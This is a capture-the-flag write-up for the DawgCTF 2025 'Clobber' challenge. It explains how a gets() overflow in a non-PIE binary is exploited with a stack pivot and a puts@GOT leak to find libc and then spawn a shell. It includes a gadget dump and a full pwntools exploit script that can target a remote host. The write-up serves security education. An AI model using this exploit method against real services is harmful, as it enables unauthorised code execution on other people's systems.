Reverse Engineering
Yes, as the description of this post, this challenge is a pure stack pivot challenge, but there will be a little bit of fun here.
[*] '/mnt/e/sec/CTFs/2025/DawgCTF/Clobber/clobber' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x3ff000) RUNPATH: b'.' Stripped: No
Check the checksec
output of the binary, we can see that the binary is not compiled with PIE
and NX
is enabled. The stack is not protected by canary
so we can easily overwrite the return address.
The binary is not stripped so we can easily find the function names and offsets. The binary is compiled with Partial RELRO
so we can use GOT
to leak the address of the puts
function.
And when we look at the binary, it’s pretty simple, it just has only a main
function:
int __fastcall main(int argc, const char **argv, const char **envp){ char s[32]; // [rsp+0h] [rbp-20h] BYREF
setvbuf(_bss_start, 0LL, 2, 0LL); setvbuf(stderr, 0LL, 2, 0LL); gets(s); puts(s); return 0;}
The binary will read the input from the user and then print it out. The gets
function is used to read the input, which is dangerous because it does not check the length of the input, so we can easily overflow the buffer and overwrite the return address. BUT, one problem here is that we don’t have win
function, so we need to find a way to leak libc base so that we can craft a system ROP to drop the shell.
Check the gadgets of the binary to see if there is some useful gadgets that we can use to leak the libc base.
12 collapsed lines
╭─ Night • alter in /mnt/e/sec/CTFs/2025/DawgCTF/Clobber╰─ ◉ rop clobber[INFO] Load gadgets from cache[LOAD] loading... 100%[LOAD] removing double gadgets... 100%
Gadgets=======
0x00000000004010ac: adc dword ptr [rax], eax; call qword ptr [rip + 0x2f23]; hlt; nop word ptr cs:[rax + rax]; endbr64; ret;0x000000000040111e: adc dword ptr [rax], edi; test rax, rax; je 0x2130; mov edi, 0x404028; jmp rax;0x00000000004010b0: adc eax, 0x2f23; hlt; nop word ptr cs:[rax + rax]; endbr64; ret;0x00000000004010dc: adc edi, dword ptr [rax]; test rax, rax; je 0x20f0; mov edi, 0x404028; jmp rax;0x000000000040114c: adc edx, dword ptr [rbp + 0x48]; mov ebp, esp; call 0x20d0; mov byte ptr [rip + 0x2f0b], 1; pop rbp; ret;0x00000000004010b4: add ah, dh; nop word ptr cs:[rax + rax]; endbr64; ret;0x00000000004010ae: add bh, bh; adc eax, 0x2f23; hlt; nop word ptr cs:[rax + rax]; endbr64; ret;0x000000000040100e: add byte ptr [rax - 0x7b], cl; sal byte ptr [rdx + rax - 1], 0xd0; add rsp, 8; ret;0x00000000004010de: add byte ptr [rax], al; add byte ptr [rax], al; test rax, rax; je 0x20f0; mov edi, 0x404028; jmp rax;0x0000000000401120: add byte ptr [rax], al; add byte ptr [rax], al; test rax, rax; je 0x2130; mov edi, 0x404028; jmp rax;0x00000000004010bc: add byte ptr [rax], al; add byte ptr [rax], al; endbr64; ret;0x00000000004011dc: add byte ptr [rax], al; add byte ptr [rax], al; leave; ret;0x0000000000401056: add byte ptr [rax], al; add cl, ch; ret 0xffff;0x00000000004011dd: add byte ptr [rax], al; add cl, cl; ret;0x000000000040100d: add byte ptr [rax], al; test rax, rax; je 0x2016; call rax;0x000000000040100d: add byte ptr [rax], al; test rax, rax; je 0x2016; call rax; add rsp, 8; ret;0x00000000004010e0: add byte ptr [rax], al; test rax, rax; je 0x20f0; mov edi, 0x404028; jmp rax;0x0000000000401122: add byte ptr [rax], al; test rax, rax; je 0x2130; mov edi, 0x404028; jmp rax;0x00000000004011e2: add byte ptr [rax], al; endbr64; sub rsp, 8; add rsp, 8; ret;0x00000000004010be: add byte ptr [rax], al; endbr64; ret;0x00000000004010b3: add byte ptr [rax], al; hlt; nop word ptr cs:[rax + rax]; endbr64; ret;0x00000000004011de: add byte ptr [rax], al; leave; ret;0x000000000040115b: add byte ptr [rcx], al; pop rbp; ret;0x0000000000401058: add cl, ch; ret 0xffff;0x00000000004011df: add cl, cl; ret;0x00000000004010ad: add dil, dil; adc eax, 0x2f23; hlt; nop word ptr cs:[rax + rax]; endbr64; ret;0x000000000040100a: add eax, 0x2fd1; test rax, rax; je 0x2016; call rax;0x0000000000401017: add esp, 8; ret;0x0000000000401016: add rsp, 8; ret;0x00000000004010b1: and ebp, dword ptr [rdi]; add byte ptr [rax], al; hlt; nop word ptr cs:[rax + rax]; endbr64; ret;0x00000000004011d6: call 0x2060; mov eax, 0; leave; ret;0x0000000000401151: call 0x20d0; mov byte ptr [rip + 0x2f0b], 1; pop rbp; ret;0x00000000004010af: call qword ptr [rip + 0x2f23]; hlt; nop word ptr cs:[rax + rax]; endbr64; ret;0x0000000000401014: call rax;0x0000000000401014: call rax; add rsp, 8; ret;0x0000000000401006: in al, dx; or byte ptr [rax - 0x75], cl; add eax, 0x2fd1; test rax, rax; je 0x2016; call rax;0x0000000000401012: je 0x2016; call rax;0x0000000000401012: je 0x2016; call rax; add rsp, 8; ret;0x00000000004010db: je 0x20f0; mov eax, 0; test rax, rax; je 0x20f0; mov edi, 0x404028; jmp rax;0x00000000004010e5: je 0x20f0; mov edi, 0x404028; jmp rax;0x000000000040111d: je 0x2130; mov eax, 0; test rax, rax; je 0x2130; mov edi, 0x404028; jmp rax;0x0000000000401127: je 0x2130; mov edi, 0x404028; jmp rax;0x000000000040103d: jmp qword ptr [rsi - 0x70];0x00000000004010ec: jmp rax;0x00000000004011d0: lea eax, [rbp - 0x20]; mov rdi, rax; call 0x2060; mov eax, 0; leave; ret;0x00000000004011cf: lea rax, [rbp - 0x20]; mov rdi, rax; call 0x2060; mov eax, 0; leave; ret;0x0000000000401156: mov byte ptr [rip + 0x2f0b], 1; pop rbp; ret;0x00000000004010dd: mov eax, 0; test rax, rax; je 0x20f0; mov edi, 0x404028; jmp rax;0x000000000040111f: mov eax, 0; test rax, rax; je 0x2130; mov edi, 0x404028; jmp rax;0x00000000004011db: mov eax, 0; leave; ret;0x0000000000401009: mov eax, dword ptr [rip + 0x2fd1]; test rax, rax; je 0x2016; call rax;0x000000000040114f: mov ebp, esp; call 0x20d0; mov byte ptr [rip + 0x2f0b], 1; pop rbp; ret;0x00000000004010e7: mov edi, 0x404028; jmp rax;0x00000000004011d4: mov edi, eax; call 0x2060; mov eax, 0; leave; ret;0x0000000000401008: mov rax, qword ptr [rip + 0x2fd1]; test rax, rax; je 0x2016; call rax;0x000000000040114e: mov rbp, rsp; call 0x20d0; mov byte ptr [rip + 0x2f0b], 1; pop rbp; ret;0x00000000004011d3: mov rdi, rax; call 0x2060; mov eax, 0; leave; ret;0x00000000004011cb: movabs eax, dword ptr [0x48e0458d48fffffe]; mov edi, eax; call 0x2060; mov eax, 0; leave; ret;0x00000000004010b8: nop dword ptr [rax + rax]; endbr64; ret;0x00000000004010b7: nop dword ptr cs:[rax + rax]; endbr64; ret;0x00000000004010b6: nop word ptr cs:[rax + rax]; endbr64; ret;0x0000000000401007: or byte ptr [rax - 0x75], cl; add eax, 0x2fd1; test rax, rax; je 0x2016; call rax;0x00000000004010e6: or dword ptr [rdi + 0x404028], edi; jmp rax;0x000000000040115d: pop rbp; ret;0x000000000040114d: push rbp; mov rbp, rsp; call 0x20d0; mov byte ptr [rip + 0x2f0b], 1; pop rbp; ret;0x00000000004011ba: ret 0xfffe;0x000000000040105a: ret 0xffff;0x0000000000401011: sal byte ptr [rdx + rax - 1], 0xd0; add rsp, 8; ret;0x000000000040100b: shr dword ptr [rdi], 1; add byte ptr [rax], al; test rax, rax; je 0x2016; call rax;0x00000000004011e9: sub esp, 8; add rsp, 8; ret;0x0000000000401005: sub esp, 8; mov rax, qword ptr [rip + 0x2fd1]; test rax, rax; je 0x2016; call rax;0x00000000004011e8: sub rsp, 8; add rsp, 8; ret;0x0000000000401004: sub rsp, 8; mov rax, qword ptr [rip + 0x2fd1]; test rax, rax; je 0x2016; call rax;0x00000000004010ba: test byte ptr [rax], al; add byte ptr [rax], al; add byte ptr [rax], al; endbr64; ret;0x0000000000401010: test eax, eax; je 0x2016; call rax;0x0000000000401010: test eax, eax; je 0x2016; call rax; add rsp, 8; ret;0x00000000004010e3: test eax, eax; je 0x20f0; mov edi, 0x404028; jmp rax;0x0000000000401125: test eax, eax; je 0x2130; mov edi, 0x404028; jmp rax;0x000000000040100f: test rax, rax; je 0x2016; call rax;0x000000000040100f: test rax, rax; je 0x2016; call rax; add rsp, 8; ret;0x00000000004010e2: test rax, rax; je 0x20f0; mov edi, 0x404028; jmp rax;0x0000000000401124: test rax, rax; je 0x2130; mov edi, 0x404028; jmp rax;0x00000000004011e7: cli; sub rsp, 8; add rsp, 8; ret;0x0000000000401003: cli; sub rsp, 8; mov rax, qword ptr [rip + 0x2fd1]; test rax, rax; je 0x2016; call rax;0x00000000004010c3: cli; ret;0x00000000004011e4: endbr64; sub rsp, 8; add rsp, 8; ret;0x0000000000401000: endbr64; sub rsp, 8; mov rax, qword ptr [rip + 0x2fd1]; test rax, rax; je 0x2016; call rax;0x00000000004010c0: endbr64; ret;0x00000000004010b5: hlt; nop word ptr cs:[rax + rax]; endbr64; ret;0x00000000004011e0: leave; ret;0x00000000004010ef: nop; ret;0x000000000040101a: ret;
92 gadgets found
Nice nice, 92 gadgets found, and there are no pop rdi
gadget for us to control the first argument of the puts
function. But fortunately, the binary is no PIE
which mean the address is fixed, and we can leverage this to use the gadgets in main
function:
.text:00000000004011BE lea rax, [rbp+s].text:00000000004011C2 mov rdi, rax.text:00000000004011C5 mov eax, 0.text:00000000004011CA call _gets
.text:00000000004011CF lea rax, [rbp+s].text:00000000004011D3 mov rdi, rax ; s.text:00000000004011D6 call _puts
There are two gadgets that we can use to leak the address. So our plan now is using Stack Pivot
to control the rbp
and then write the address of puts
to the s
buffer, and then we can use the puts
gadget to leak the address of puts
and then calculate the base address of libc
. After that, we can use the system
function to drop a shell.
Exploit Development
Alright, the idea is clear, now let’s start to write the exploit. First of all, we need to find the offset to rbp
and one rw-
memory address. And then start to write a pivot payload
offset = 0x20 bss = 0x404400 gets_gadget = 0x4011BE puts_gadget = 0x4011CF leave_ret = 0x4011E0
payload1 = flat({
offset: [
bss - 0x10, # saved rbp 1 gets_gadget # saved rip 1 ]
}, filler=b'A')
input("Pivot payload") sl(payload1)
Our next payload will be write to 0x404000
. But we can’t put put@GOT here right away because if we do, after returning it will fall back to puts@GOT + 0x8
and now we don’t have any data there. So what we need to do next is write data there so that it can return later.
And here’s the problem. The size we can write in a very small area
pwndbg> x/10xg 0x4040100x404010 <setvbuf@got.plt>: 0x00000000000401050 0x000000000000000000x404020: 0x00000000000000000 0x00000000000000000x404030: 0x00000000000000000 0x00000000000000000x404040 <stdout@GLIBC_2.2.5>: 0x00007ffff7fb95c0 0x00000000000000000x404050: 0x0000000000000000 0x00000000000000000
And we have to write so that the value of the fd
is not changed. You can refer to my payload 2, 3, to know how I solved this problem
# 0x404400 payload2 = flat({
offset: [
exe.got.setvbuf + 0x20, # saved rbp 2 gets_gadget, # saved rip 2
exe.got.puts + 0x20, puts_gadget,
cyclic(0x10),
bss + 0x30 + 0x20, gets_gadget,
]
}, filler=b'B')
input("Payload 2") sl(payload2)
payload3 = b'C' * 0x10 payload3 += p64(bss + 0x20) + p64(leave_ret) payload3 += p64(bss) + p32(leave_ret)
input("Payload 3") sl(payload3)
We can see I used 2 leave; ret;
gadgets to specify the exact location it returns to, all I did was point it to exactly what I needed. And so we can leak libc base easily, from there we can drop shell. Here is my full exploit:
37 collapsed lines
#!/usr/bin/env python3# -*- coding: utf-8 -*-from pwnie import *from subprocess import check_outputfrom time import sleep
context.log_level = 'debug'context.terminal = ["wt.exe", "-w", "0", "split-pane", "--size", "0.6", "-d", ".", "wsl.exe", "-d", "Ubuntu-22.04", "--", "bash", "-c"]exe = context.binary = ELF('./clobber_patched', checksec=False)libc = exe.libc
def start(argv=[], *a, **kw): if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) elif args.REMOTE: return remote(sys.argv[1], sys.argv[2], *a, **kw) elif args.DOCKER: p = remote("localhost", 5000) sleep(1) pid = int(check_output(["pidof", "-s", "/app/run"])) gdb.attach(int(pid), gdbscript=gdbscript+f"\n set sysroot /proc/{pid}/root\nfile /proc/{pid}/exe", exe=exe.path) pause() return p else: return process([exe.path] + argv, *a, **kw)
gdbscript = '''init-pwndbg
# b *0x4011E0b *0x4011E1
c'''
p = start()
# ==================== EXPLOIT ====================
def exploit():
offset = 0x20 bss = 0x404400 gets_gadget = 0x4011BE puts_gadget = 0x4011CF leave_ret = 0x4011E0 # stdout = 0x404040
payload1 = flat({
offset: [
bss - 0x10, # saved rbp 1 gets_gadget # saved rip 1 ]
}, filler=b'A')
input("Pivot payload") sl(payload1)
# 0x404400 payload2 = flat({
offset: [
exe.got.setvbuf + 0x20, # saved rbp 2 gets_gadget, # saved rip 2
exe.got.puts + 0x20, puts_gadget,
cyclic(0x10),
bss + 0x30 + 0x20, gets_gadget,
]
}, filler=b'B')
input("Payload 2") sl(payload2)
payload3 = b'C' * 0x10 payload3 += p64(bss + 0x20) + p64(leave_ret) payload3 += p64(bss) + p32(leave_ret)
input("Payload 3") sl(payload3)
rls(3)
puts = fixleak(rl()[:-1]) libc.address = puts - libc.sym.puts info('puts @ %#x', puts) success('libc base @ %#x', libc.address)
input("Drop shell") payload4 = system(offset + 0x8) sl(payload4)
interactive()
if __name__ == '__main__': exploit()
P/s: system()
is my custom function you can craft a ROP chain manually to drop shell.